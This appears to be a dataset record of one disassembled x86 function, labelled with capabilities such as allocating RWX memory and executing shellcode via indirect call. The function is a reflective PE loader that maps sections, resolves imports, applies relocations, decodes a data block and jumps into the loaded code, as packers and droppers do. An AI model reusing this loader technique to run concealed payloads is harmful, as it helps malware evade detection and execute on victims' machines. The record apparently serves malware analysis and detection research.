Function at 0x403fc2
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
lea eax, [ebp - 0x18]
xor edi, edi
push eax
mov dword [ebp - 0xc], edi
call section..text
cmp eax, edi
mov dword [ebp - 0x14], eax
je 0x4041f7
mov esi, 0x10000
mov dword [ebp - 4], edi
push esi
call fcn.00404905
mov ebx, eax
pop ecx
test ebx, ebx
je 0x4041f7
push esi
push ebx
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call fcn.00404205
add esp, 0x10
mov dword [ebp - 0x18], eax
test eax, eax
jbe 0x404083
mov esi, dword [ebx + 4]
push 0x40
add esi, ebx
push 0x1000
movzx eax, word [esi + 0x14]
push dword [esi + 0x50]
lea edi, [eax + esi + 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
mov dword [ebp - 4], eax
je 0x404080
push dword [esi + 0x54]
push ebx
push eax
call fcn.004045d0
and dword [ebp - 0x10], 0
add esp, 0xc
cmp word [esi + 6], 0
jbe 0x404080
add edi, 0x10
mov eax, dword [edi]
test eax, eax
je 0x404071
push eax
mov eax, dword [edi + 4]
add eax, ebx
push eax
mov eax, dword [edi - 4]
add eax, dword [ebp - 4]
push eax
call fcn.004045d0
add esp, 0xc
movzx eax, word [esi + 6]
inc dword [ebp - 0x10]
add edi, 0x28
cmp dword [ebp - 0x10], eax
jb 0x404055
mov edi, dword [ebp - 4]
push ebx
call fcn.00404558
test edi, edi
pop ecx
je 0x4041f7
mov esi, dword [edi + 4]
and dword [ebp - 0x14], 0
add esi, edi
mov dword [ebp - 0x1c], esi
mov ebx, dword [esi + 0x80]
add ebx, edi
mov eax, dword [ebx + 0xc]
xor edx, edx
cmp dword [ebx + 4], edx
lea ecx, [eax + edi]
jne 0x4040b7
cmp eax, edx
je 0x404112
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [ebx]
mov dword [ebp - 0x10], eax
add esi, edi
mov edi, dword [ebx + 0x10]
add edi, dword [ebp - 4]
mov eax, dword [esi]
test eax, eax
je 0x404107
mov ecx, dword [ebp - 4]
add ecx, eax
test eax, 0x80000000
je 0x4040e5
and eax, 0xffff
push eax
jmp 0x4040e9
add ecx, 2
push ecx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [edi], eax
je 0x404100
add edi, 4
add esi, 4
jmp 0x4040cb
mov dword [ebp - 0xc], 1
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 4]
add ebx, 0x14
jmp 0x4040a6
cmp dword [ebp - 0xc], edx
jne 0x404170
mov eax, dword [esi + 0xa0]
cmp eax, edx
je 0x404168
mov ecx, edi
add eax, edi
sub ecx, dword [esi + 0x34]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [esi + 0xa4]
cmp ecx, edx
mov dword [ebp - 0x10], ecx
je 0x404168
mov dword [ebp - 4], edx
mov edx, dword [eax + 4]
push dword [ebp - 4]
sub dword [ebp - 0x10], edx
mov ecx, dword [eax]
push dword [ebp - 0x1c]
add edx, 0xfffffff8
add eax, 8
add ecx, edi
shr edx, 1
push eax
push edx
push ecx
call fcn.00403f5d
add esp, 0x14
test eax, eax
je 0x4041dc
cmp dword [ebp - 0x10], 0
jne 0x40413b
mov eax, dword [esi + 0x28]
add eax, edi
mov dword [ebp - 0x14], eax
push dword [esi + 0x54]
push 0
push edi
call fcn.00404500
xor ebx, ebx
add esp, 0xc
cmp dword [ebp - 0x14], ebx
je 0x4041e5
push 0x10
lea eax, [ebp - 0x30]
push 0x40c188
push eax
call fcn.00404349
add esp, 0xc
xor esi, esi
lea eax, [esi + section..shared]
push 1
push eax
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.004043cd
add esi, 8
add esp, 0x10
cmp esi, 0x188
jb 0x40419a
cmp word [section..shared], 0x705a
jne 0x4041e5
push 0x40c004
push 0x40c104
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [ebp - 0x14]
jmp 0x4041fc
mov dword [ebp - 0xc], 1
jmp 0x404170
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 0xc], ebx
jne 0x4041fc
call fcn.00403ed1
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10